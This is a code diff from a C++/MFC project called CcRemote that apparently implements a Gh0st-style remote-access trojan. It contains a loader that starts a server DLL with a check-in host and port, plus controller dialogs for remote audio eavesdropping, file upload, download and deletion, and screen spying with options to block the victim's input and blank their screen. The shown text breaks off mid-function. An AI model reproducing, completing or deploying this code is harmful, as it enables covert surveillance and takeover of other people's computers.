g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\testloaddll.write.1u.tlog
|
||||
6
CcMainDll/TestLoadDll/Release/TestLoadDll.log
Normal file
6
CcMainDll/TestLoadDll/Release/TestLoadDll.log
Normal file
@@ -0,0 +1,6 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
TestLoadDll.cpp
|
||||
正在生成代码
|
||||
All 10 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\bin\server\TestLoadDll.exe\TestLoadDll.exe
|
||||
@@ -0,0 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
||||
25
CcMainDll/TestLoadDll/TestLoadDll.cpp
Normal file
25
CcMainDll/TestLoadDll/TestLoadDll.cpp
Normal file
@@ -0,0 +1,25 @@
|
||||
// TestLoadDll.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
|
||||
//
|
||||
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
std::cout << "Hello World!\n";
|
||||
char strHost[] = "127.0.0.1"; //声明上线地址
|
||||
int nPort = 80; //声明上线端口
|
||||
//载入服务端dll
|
||||
HMODULE hServerDll = LoadLibrary(".\\..\\..\\bin\\server\\CcMainDll.dll");
|
||||
//HMODULE hServerDll = LoadLibrary(".\server.dll");
|
||||
//声明导出函数类型--导出的TestRun函数
|
||||
typedef void(_cdecl *TestRunT)(char* strHost, int nPort);
|
||||
//寻找dll中导出函数
|
||||
TestRunT pTestRunT = (TestRunT)GetProcAddress(hServerDll, "TestFun");
|
||||
//判断函数是否为空
|
||||
if (pTestRunT != NULL)
|
||||
{
|
||||
pTestRunT(strHost, nPort); //调用这个函数
|
||||
}
|
||||
|
||||
}
|
||||
164
CcMainDll/TestLoadDll/TestLoadDll.vcxproj
Normal file
164
CcMainDll/TestLoadDll/TestLoadDll.vcxproj
Normal file
@@ -0,0 +1,164 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>15.0</VCProjectVersion>
|
||||
<ProjectGuid>{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>TestLoadDll</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>..\..\bin\server</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>..\..\bin\server</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="TestLoadDll.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
22
CcMainDll/TestLoadDll/TestLoadDll.vcxproj.filters
Normal file
22
CcMainDll/TestLoadDll/TestLoadDll.vcxproj.filters
Normal file
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="TestLoadDll.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
4
CcMainDll/TestLoadDll/TestLoadDll.vcxproj.user
Normal file
4
CcMainDll/TestLoadDll/TestLoadDll.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
Binary file not shown.
123
CcRemote/CcRemote/CAudioDlg.cpp
Normal file
123
CcRemote/CcRemote/CAudioDlg.cpp
Normal file
@@ -0,0 +1,123 @@
|
||||
// CAudioDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "pch.h"
|
||||
#include "CcRemote.h"
|
||||
#include "CAudioDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "..\..\common\macros.h"
|
||||
|
||||
// CAudioDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
|
||||
|
||||
CAudioDlg::CAudioDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||||
: CDialog(IDD_AUDIO, pParent)
|
||||
{
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_AUDIO)); //处理图标
|
||||
m_iocpServer = pIOCPServer; //为类的成员变量赋值
|
||||
m_pContext = pContext;
|
||||
m_bIsWorking = true;
|
||||
|
||||
m_nTotalRecvBytes = 0;
|
||||
|
||||
sockaddr_in sockAddr;
|
||||
memset(&sockAddr, 0, sizeof(sockAddr)); //得到服务端ip
|
||||
int nSockAddrLen = sizeof(sockAddr);
|
||||
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||||
|
||||
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
|
||||
}
|
||||
|
||||
CAudioDlg::~CAudioDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CAudioDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Check(pDX, IDC_SEND_LOCALAUDIO, m_bIsSendLocalAudio);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CAudioDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CAudioDlg 消息处理程序
|
||||
|
||||
|
||||
BOOL CAudioDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// TODO: 在此添加额外的初始化
|
||||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||
|
||||
CString str;
|
||||
str.Format("\\\\%s - 语音监听", m_IPAddress);
|
||||
SetWindowText(str);
|
||||
|
||||
// 通知远程控制端对话框已经打开
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
|
||||
|
||||
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
|
||||
DWORD CAudioDlg::WorkThread(LPVOID lparam)
|
||||
{
|
||||
CAudioDlg *pThis = (CAudioDlg *)lparam;
|
||||
|
||||
while (pThis->m_bIsWorking)
|
||||
{
|
||||
if (!pThis->m_bIsSendLocalAudio)
|
||||
{
|
||||
Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
DWORD dwBytes = 0;
|
||||
LPBYTE lpBuffer = pThis->m_Audio.getRecordBuffer(&dwBytes);
|
||||
if (lpBuffer != NULL && dwBytes > 0)
|
||||
pThis->m_iocpServer->Send(pThis->m_pContext, lpBuffer, dwBytes);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void CAudioDlg::OnClose()
|
||||
{
|
||||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||
m_pContext->m_Dialog[0] = 0;
|
||||
|
||||
closesocket(m_pContext->m_Socket);
|
||||
|
||||
m_bIsWorking = false;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
CDialog::OnClose();
|
||||
}
|
||||
|
||||
|
||||
void CAudioDlg::OnReceiveComplete(void)
|
||||
{
|
||||
m_nTotalRecvBytes += m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
|
||||
CString str;
|
||||
str.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024);
|
||||
SetDlgItemText(IDC_TIPS, str);
|
||||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||||
{
|
||||
//这里也非常简洁,就是将服务端发送来的数据播放出来,我们看一下这个类还是CAudio,哈哈
|
||||
//原来播放和录制是同一个类,我们转到这个函数
|
||||
case TOKEN_AUDIO_DATA:
|
||||
m_Audio.playBuffer(m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
|
||||
break;
|
||||
default:
|
||||
// 传输发生异常数据
|
||||
return;
|
||||
}
|
||||
}
|
||||
42
CcRemote/CcRemote/CAudioDlg.h
Normal file
42
CcRemote/CcRemote/CAudioDlg.h
Normal file
@@ -0,0 +1,42 @@
|
||||
#pragma once
|
||||
|
||||
|
||||
// CAudioDlg 对话框
|
||||
#include "include/IOCPServer.h"
|
||||
#include "..\..\common\Audio.h"
|
||||
class CAudioDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CAudioDlg)
|
||||
|
||||
public:
|
||||
CAudioDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
|
||||
virtual ~CAudioDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_AUDIO };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
public:
|
||||
bool m_bIsWorking;
|
||||
CAudio m_Audio;
|
||||
private:
|
||||
|
||||
UINT m_nTotalRecvBytes;
|
||||
HICON m_hIcon;
|
||||
HANDLE m_hWorkThread;
|
||||
ClientContext* m_pContext;
|
||||
CIOCPServer* m_iocpServer;
|
||||
CString m_IPAddress;
|
||||
public:
|
||||
virtual BOOL OnInitDialog();
|
||||
static DWORD WorkThread(LPVOID lparam);
|
||||
BOOL m_bIsSendLocalAudio;
|
||||
afx_msg void OnClose();
|
||||
void OnReceiveComplete(void);
|
||||
};
|
||||
2605
CcRemote/CcRemote/CFileManagerDlg.cpp
Normal file
2605
CcRemote/CcRemote/CFileManagerDlg.cpp
Normal file
File diff suppressed because it is too large
Load Diff
156
CcRemote/CcRemote/CFileManagerDlg.h
Normal file
156
CcRemote/CcRemote/CFileManagerDlg.h
Normal file
@@ -0,0 +1,156 @@
|
||||
#pragma once
|
||||
#include "TrueColorToolBar.h"
|
||||
#include "include/IOCPServer.h"
|
||||
#include "resource.h"
|
||||
|
||||
|
||||
typedef CList<CString, CString&> strList;
|
||||
// CFileManagerDlg 对话框
|
||||
|
||||
class CFileManagerDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CFileManagerDlg)
|
||||
|
||||
public:
|
||||
CFileManagerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
|
||||
virtual ~CFileManagerDlg();
|
||||
bool m_bIsStop;
|
||||
CString m_strReceiveLocalFile;
|
||||
CString m_strUploadRemoteFile;
|
||||
void ShowProgress();
|
||||
void SendStop();
|
||||
int m_nTransferMode;
|
||||
CString m_hCopyDestFolder;
|
||||
void SendContinue();
|
||||
void SendException();
|
||||
void EndLocalRecvFile();
|
||||
void EndRemoteDeleteFile();
|
||||
CString m_strOperatingFile; // 文件名
|
||||
__int64 m_nOperatingFileLength; // 文件总大小
|
||||
__int64 m_nCounter;// 计数器
|
||||
void WriteLocalRecvFile();
|
||||
void CreateLocalRecvFile();
|
||||
BOOL SendDownloadJob();
|
||||
BOOL SendUploadJob();
|
||||
BOOL SendDeleteJob();
|
||||
|
||||
strList m_Remote_Download_Job;
|
||||
strList m_Remote_Upload_Job;
|
||||
strList m_Remote_Delete_Job;
|
||||
CTrueColorToolBar m_wndToolBar_Local;
|
||||
CTrueColorToolBar m_wndToolBar_Remote;
|
||||
void ShowMessage(char *lpFmt, ...);
|
||||
CString m_Remote_Path;
|
||||
BYTE m_bRemoteDriveList[1024];
|
||||
CString GetParentDirectory(CString strPath);
|
||||
void OnReceiveComplete();
|
||||
|
||||
CImageList* m_pImageList_Large;
|
||||
CImageList* m_pImageList_Small;
|
||||
|
||||
int m_nNewIconBaseIndex; // 新加的ICON
|
||||
|
||||
ClientContext* m_pContext;
|
||||
CIOCPServer* m_iocpServer;
|
||||
CString m_IPAddress;
|
||||
|
||||
CProgressCtrl* m_ProgressCtrl;
|
||||
HCURSOR m_hCursor;
|
||||
CString m_Local_Path;
|
||||
bool FixedUploadDirectory(LPCTSTR lpPathName);
|
||||
void FixedLocalDriveList();
|
||||
void FixedRemoteDriveList();
|
||||
void FixedLocalFileList(CString directory = "");
|
||||
void GetRemoteFileList(CString directory = "");
|
||||
void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen);
|
||||
|
||||
HICON m_hIcon;
|
||||
CStatusBar m_wndStatusBar;
|
||||
|
||||
CComboBox m_Remote_Directory_ComboBox;
|
||||
CComboBox m_Local_Directory_ComboBox;
|
||||
CListCtrl m_list_remote;
|
||||
CListCtrl m_list_local;
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_FILE };
|
||||
#endif
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
virtual void PostNcDestroy();
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg HCURSOR OnQueryDragIcon();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnDblclkListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnBegindragListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnBegindragListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
|
||||
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
||||
afx_msg void OnTimer(UINT nIDEvent);
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnLocalPrev();
|
||||
afx_msg void OnRemotePrev();
|
||||
afx_msg void OnLocalView();
|
||||
afx_msg void OnLocalList();
|
||||
afx_msg void OnLocalReport();
|
||||
afx_msg void OnLocalBigicon();
|
||||
afx_msg void OnLocalSmallicon();
|
||||
afx_msg void OnRemoteBigicon();
|
||||
afx_msg void OnRemoteList();
|
||||
afx_msg void OnRemoteReport();
|
||||
afx_msg void OnRemoteSmallicon();
|
||||
afx_msg void OnRemoteView();
|
||||
afx_msg void OnUpdateLocalStop(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemoteStop(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateLocalPrev(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemotePrev(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateLocalCopy(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemoteCopy(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemoteDelete(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemoteNewfolder(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateLocalDelete(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateLocalNewfolder(CCmdUI* pCmdUI);
|
||||
afx_msg void OnRemoteCopy();
|
||||
afx_msg void OnLocalCopy();
|
||||
afx_msg void OnLocalDelete();
|
||||
afx_msg void OnRemoteDelete();
|
||||
afx_msg void OnRemoteStop();
|
||||
afx_msg void OnLocalStop();
|
||||
afx_msg void OnLocalNewfolder();
|
||||
afx_msg void OnRemoteNewfolder();
|
||||
afx_msg void OnTransfer();
|
||||
afx_msg void OnRename();
|
||||
afx_msg void OnEndlabeleditListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnDelete();
|
||||
afx_msg void OnNewfolder();
|
||||
afx_msg void OnRefresh();
|
||||
afx_msg void OnLocalOpen();
|
||||
afx_msg void OnRemoteOpenShow();
|
||||
afx_msg void OnRemoteOpenHide();
|
||||
afx_msg void OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
|
||||
protected:
|
||||
CListCtrl* m_pDragList; //Which ListCtrl we are dragging FROM
|
||||
CListCtrl* m_pDropList; //Which ListCtrl we are dropping ON
|
||||
BOOL m_bDragging; //T during a drag operation
|
||||
int m_nDragIndex; //Index of selected item in the List we are dragging FROM
|
||||
int m_nDropIndex; //Index at which to drop item in the List we are dropping ON
|
||||
CWnd* m_pDropWnd; //Pointer to window we are dropping on (will be cast to CListCtrl* type)
|
||||
|
||||
void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList);
|
||||
private:
|
||||
bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
void SendTransferMode();
|
||||
void SendFileData();
|
||||
void EndLocalUploadFile();
|
||||
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||
void EnableControl(BOOL bEnable = TRUE);
|
||||
};
|
||||
875
CcRemote/CcRemote/CScreenSpyDlg.cpp
Normal file
875
CcRemote/CcRemote/CScreenSpyDlg.cpp
Normal file
@@ -0,0 +1,875 @@
|
||||
// CScreenSpyDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "pch.h"
|
||||
#include "CcRemote.h"
|
||||
#include "CScreenSpyDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "..\..\common\macros.h"
|
||||
|
||||
enum
|
||||
{
|
||||
IDM_CONTROL = 0x0010,
|
||||
IDM_SEND_CTRL_ALT_DEL,
|
||||
IDM_TRACE_CURSOR, // 跟踪显示远程鼠标
|
||||
IDM_BLOCK_INPUT, // 锁定远程计算机输入
|
||||
IDM_BLANK_SCREEN, // 黑屏
|
||||
IDM_CAPTURE_LAYER, // 捕捉层
|
||||
IDM_SAVEDIB, // 保存图片
|
||||
IDM_GET_CLIPBOARD, // 获取剪贴板
|
||||
IDM_SET_CLIPBOARD, // 设置剪贴板
|
||||
IDM_ALGORITHM_SCAN, // 隔行扫描算法
|
||||
IDM_ALGORITHM_DIFF, // 差异比较算法
|
||||
IDM_DEEP_1, // 屏幕色彩深度.....
|
||||
IDM_DEEP_4_GRAY,
|
||||
IDM_DEEP_4_COLOR,
|
||||
IDM_DEEP_8_GRAY,
|
||||
IDM_DEEP_8_COLOR,
|
||||
IDM_DEEP_16,
|
||||
IDM_DEEP_32
|
||||
};
|
||||
// 两种算法
|
||||
#define ALGORITHM_SCAN 1 // 速度很快,但碎片太多
|
||||
#define ALGORITHM_DIFF 2 // 速度很慢,也占CPU,但是数据量都是最小的
|
||||
// CScreenSpyDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
||||
CScreenSpyDlg::CScreenSpyDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||||
: CDialog(IDD_SCREENSPY, pParent)
|
||||
{
|
||||
m_iocpServer = pIOCPServer;
|
||||
m_pContext = pContext;
|
||||
m_bIsFirst = true; // 如果是第一次打开对话框,显示提示等待信息
|
||||
m_lpScreenDIB = NULL;
|
||||
char szPath[MAX_PATH];
|
||||
GetSystemDirectory(szPath, MAX_PATH);
|
||||
lstrcat(szPath, "\\shell32.dll");
